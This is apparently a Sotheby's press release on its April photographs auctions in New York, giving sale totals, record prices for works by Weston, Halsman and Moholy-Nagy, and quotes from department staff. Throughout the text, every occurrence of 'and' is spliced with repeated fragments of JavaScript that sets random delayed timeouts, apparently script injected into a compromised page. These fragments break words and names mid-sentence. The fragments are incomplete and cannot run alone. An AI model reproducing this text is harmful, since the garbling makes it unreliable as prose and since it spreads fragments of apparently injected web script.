NEW YORK CITY — Over two days, April 5 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and 6, Sotheby’s auctions of photographs achieved a combined total of $7,605,566. The single-owner evening sale of photographs from an American collection on April 5, totaled $2,544,376, with 83 percent of lots sold, while the April 6 various-owner photographs sale brought $5,061,190. The top lot of the sales was “Two Shells” by Edward Weston, a 1927 print that represents the definitive early state of the image, which sold for $533,000.

Beth Iskandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ander, vice president in Sotheby’s photographs department, commented, “We saw strong prices for many of the great Twentieth Century photographers, including Edward Weston, Edward Steichen, František Drtikol, Dorothea Lange andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Imogen Cunningham. An artist record was set for Philippe Halsman when ‘Marilyn Monroe Jumping’ sold for $100,000, well over the $40/60,000 estimate.”

Christopher Mahoney, senior vice president in Sotheby’s photographs department, said, “Our various-owner photographs auction realized a solid total of $5,061,190, within our presale expectations andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and with 77 percent of lots sold. Major works by the masters of the medium, such as Robert Frank, Ansel Adams, Alfred Stieglitz andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and many others, were all sought by multiple bidders before achieving prices in excess of their high estimates.

László Moholy-Nagy is particularly well-represented in the top ten, with ‘Pneumatik’ selling for $185,000 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and setting a record for a fotoplastik by the artist. Bidding was international, with considerable activity from South America andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Europe, as well as a robust American market.

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